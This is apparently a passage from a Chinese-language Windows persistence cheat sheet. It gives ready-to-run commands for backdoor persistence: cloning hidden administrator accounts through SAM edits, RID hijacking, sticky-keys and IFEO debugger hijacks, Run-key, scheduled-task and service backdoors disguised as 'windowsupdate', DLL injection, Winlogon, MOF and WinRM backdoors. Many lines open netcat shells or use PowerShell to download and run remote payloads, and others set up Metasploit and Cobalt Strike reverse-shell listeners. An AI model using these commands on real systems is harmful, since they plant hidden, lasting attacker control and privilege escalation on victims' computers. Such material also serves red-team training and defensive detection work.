SAM的完全控制和讀取的權限以下導出為1.regHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$記錄HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$的默認類型000003EA以下導出為2.regHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA默認administrator默認類型為000001F4以下導出為3.regHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4把000001F4(3.reg)的F值粘貼到000003EA(2.reg)的F值修改後導入>regedit /s 1.reg>regedit /s 2.reg刪除net user test$ /delPowershell腳本https://github.com/3gstudent/Windows-User-Clone/blob/master/Windows-User-Clone.ps1需system權限>Create-Clone -u 要創建的 -p 密碼 -cu 想要克隆的RID劫持利用場景:激活guest修改rid為管理員的修改低權限用戶rid劫持rid之前普通用戶1的rid值使用msf的post/windows/manage/rid_hijack模塊
運行後可以看到已經變為超管的rid值
此時普通用戶1登錄系統是為超管權限
Guest激活激活來賓帳戶,修改其密碼,加入administrators組
>net user guest /active:yes>net user guest 123qwe!@>net localgroup administrators guest /ad映像劫持Sethc>move sethc.exe 1.exe>copy cmd.exe sethc.exe5下shift調用cmd輕鬆使用註冊表
計算機\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\新建Utilman.exe,新建字符串值Debugger,指定為C:\Windows\System32\cmd.exe> REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
IFEO靜默執行計算機\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe 新建DWORD值GlobalFlag 16進位為200創建:計算機\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\sethc.exe字符串值:MonitorProcess=muma.exeDWORD值ReportingMode=1>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v GlobalFlag /t REG_DWORD /d 512 /f>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\sethc.exe" /v ReportingMode /t REG_DWORD /d 1 /f>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\sethc.exe" /v MonitorProcess /t REG_SZ /d "c:\windows\system32\cmd.exe" /f
註冊表啟動項HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RunHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnceMSF添加一個監聽Meterpreter> reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe'查詢是否添加成功Meterpreter> reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v ncMeterpreter> reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run開啟防火牆進站規則> netsh firewall add portopening TCP 444 "name" ENABLE ALL重啟> shutdown -r -t 0CMD
查看註冊表啟動項>REG query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"添加啟動項>REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "windowsupdate" /t REG_SZ /F /D "c:\windows\temp\update.exe"刪除啟動項>REG delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "windowsupdate" /f計劃任務加載powershell
>schtasks /Create /tn 名字 /tr 運行程序 /sc hourly /mo 1>schtasks /create /S TARGET /SC Weekly /RU "NT Authority\SYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://192.168.0.107:8080/Invoke-PowerShellTcp.ps1''')'"
執行exe創建計劃任務
>schtasks /create /RL HIGHEST /F /tn "windowsupdate" /tr "c:\windows\temp\update.exe" /sc DAILY /mo 1 /ST 12:25 /RU SYSTEM查看計劃任務>schtasks /query | findstr "windowsupdate"立即執行某項計劃任務>schtasks /run /tn "windowsupdate"刪除某項計劃任務>schtasks /delete /F /tn "windowsupdate"普通用戶權限計劃任務>schtasks /create /F /tn "windowsupdate" /tr "D:\user\zhangsan\file\windowsupdate.exe" /sc DAILY /mo 1 /ST 12:25 >schtasks /query | findstr "windowsupdate" >schtasks /run /tn "windowsupdate" >schtasks /delete /F /tn "windowsupdate" >schtasks /tn "SysDebug" /query /fo list /v進程注入AppCertDlls
註冊表HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\下新建AppCertDlls,新建名字為Default,值為c:\1.dll的項#msfvenom –p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 –f dll >/root/1.dllMsf>use exploit/multi/handlerMsf>set payload windows/meterpreter/reverse_tcphttps://cdn.securityxploded.com/download/RemoteDLLInjector.zip> RemoteDLLInjector64.exe PID c:\1.dllAppInit_DLLs註冊表HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Window\Appinit_Dlls下AppInit_DLLs設置為c:\1.dll,LoadAppInit_DLLs設置為1
MSFMsf>use post/windows/manage/reflective_dll_injectMsf>set session 1Msf>set pid 1234Msf>set path c:\\1.dllMsf>run&migrate +pid&Meterpreter>run post/windows/manage/migrate
登錄初始化計算機\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon下添加Userinit值>Powershell.exe Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,c:\muma.exe"計算機\HKEY_CURRENT_USER\Environment創建鍵值UserInitMprLogonScript值為c:\muma.exe&Powershell實現:>Set-ExecutionPolicy RemoteSigned 保存ps1執行Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,powershell.exe -nop -w hidden -c $w=new-object net.webclient;$w.proxy=[Net.WebRequest]::GetSystemWebProxy();$w.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $w.downloadstring('http://192.168.2.11:8080/kaMhC1');"屏幕保護程序計算機\HKEY_CURRENT_USER\Control Panel\DesktopSCRNSAVE.EXE - 默認屏幕保護程序,改為惡意程序(設置備份)ScreenSaveActive - 1表示屏幕保護是啟動狀態,0表示表示屏幕保護是關閉狀態ScreenSaverTimeout - 指定屏幕保護程序啟動前系統的空閒事件,單位為秒,默認為900(15分鐘)
MOF>git clone https://github.com/khr0x40sh/metasploit-modules.git>mv metasploit-modules/persistence/mof_ps_persist.rb /usr/share/metasploit-framework/modules/post/windows/>reload_all>use post/windows/mof_ps_persist>set payload windows/x64/meterpreter/reverse_tcp>set lhost 192.168.0.108>set lport 12345>set session 1>run
>use exploit/multi/handler>set payload windows/x64/meterpreter/reverse_tcp>set lhost 192.168.0.108>set lport 12345>set exitonsession false
重啟後還會上線
清除後門,進入meterpreter,resource 生成的rc文件
停止MOF>net stop winmgmt刪除文件夾:C:\WINDOWS\system32\wbem\Repository\>net start winmgmtWinRM埠復用WinRM埠5985,win2012以上默認啟動,2008開啟命令>winrm quickconfig -q2012啟用埠復用>winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}2008啟用WinRM後修改埠為80>winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}後門連接和使用本地開啟WinRM並設置信任連接主機>winrm quickconfig -q>winrm set winrm/config/Client @{TrustedHosts="*"}執行命令>winrs -r:http://10.1.1.100 -u:administrator -p:password ipconfig /all獲取cmdshell>winrs -r:http://10.1.1.100 -u:administrator -p:password cmd
只administrator允許遠程登錄WinRM,允許其他用戶可以登錄,執行註冊表>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
創建服務重啟維持nc
>sc create ms binpath= "cmd /K start c:\nc\nc64.exe -d 192.168.0.51 4567 -e cmd.exe" start= delayed-auto error= ignore重啟維持psh>sc create ms binpath= "cmd /K start C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -nop -exec bypass -c \"IEX(New-Object net.webclient).DownloadString('http://192.168.0.107/xxx.ps1')\"" start= delayed-auto error= ignore
重啟維持Cobalt strike
配置監聽器,生成web傳遞模塊Powershell腳本>sc create ms binpath= "cmd /K start C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.0.107:8080/a'))\"" start= delayed-auto error= ignoreDelay執行大概2分鐘上線